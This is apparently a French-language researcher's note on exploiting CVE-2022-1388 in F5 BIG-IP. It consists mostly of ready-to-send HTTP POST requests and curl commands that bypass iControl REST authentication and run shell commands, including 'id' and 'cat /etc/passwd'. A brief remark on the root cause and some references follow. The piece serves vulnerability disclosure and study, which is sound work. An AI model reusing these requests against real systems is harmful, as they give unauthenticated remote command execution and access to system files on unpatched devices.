
F5 BIG-IP RCE exploitation (CVE-2022-1388)
POST (1):

POST /mgmt/tm/util/bash HTTP/1.1
Host: <redacted>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0
{"command": "run" , "utilCmdArgs": " -c 'id' " }
Commande curl :
$ curl -i -s -k -X $'POST' \
-H $'Host: <redacted>:8443' \
-H $'Authorization: Basic YWRtaW46' \
-H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
-H $'Content-Length: 52' \
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \'id\' \" }\x0d\x0a' \
$'https://<redacted>:8443/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080
POST (2):

POST /mgmt/tm/util/bash HTTP/1.1
Host: <redateced>:8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0
{"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }
Commande curl :
$ curl -i -s -k -X $'POST' \
-H $'Host: <redacted>:8443' \
-H $'Authorization: Basic YWRtaW46' -H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \' cat /etc/passwd\' \" }\x0d\x0a\x0d\x0a' \
$'https://<redacted>/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080
Remarque :
Le problème pourrait être lié à l'authentification entre le frontend et le backend "Jetty" avec des identifiants vides "admin: <empty>"
+ la valeur des en-têtes, voir "HTTP hop_by_hop request headers"...
Mon BIG-IP maintenant corrigé :

Références et correctifs :
Voici la documentation utilisée pour les dernières notes :
En-têtes de requêtes HTTP hop_by_hop :
Analyse technique approfondie du contournement de l'authentification du point de terminaison iControl REST F5 par horizon3
Mes notes :
Payload1: icontrol_api_endpoints.txt
Payload2: icontrol_api_commands.txt
Alex Hernandez alias (@_alt3kx_)